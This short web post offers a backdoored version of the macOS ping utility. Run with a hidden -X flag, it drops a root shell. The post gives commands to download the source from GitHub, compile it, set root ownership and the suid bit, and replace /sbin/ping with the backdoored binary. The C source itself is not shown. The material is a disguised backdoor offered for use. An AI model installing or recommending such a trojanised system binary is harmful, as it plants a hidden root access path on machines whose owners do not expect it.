P I N G . C : Using the Internet Control Message Protocol (ICMP) “ECHO” facility, measure round-trip-delays and packet loss across network paths.
This is just the normal OS X ping, but if you run it with the flag -X, it drops a root shell. This relies on the suid bit being set, it’s not an exploit and it won’t help you root a server.
C Script:
Usage :
Compilation & Installation:
– wget https://raw.githubusercontent.com/raincoats/osx-ping-backdoor/master/ping.c
– gcc ping.c -o ping
– chown root:wheel ./ping; chmod 4755 ./ping
– Optionally, mv /sbin/ping{,-backup} && mv ./ping /sbin (but I mean, really, are you sure you want a backdoor on your smackbook throw?)
Source : https://github.com/raincoats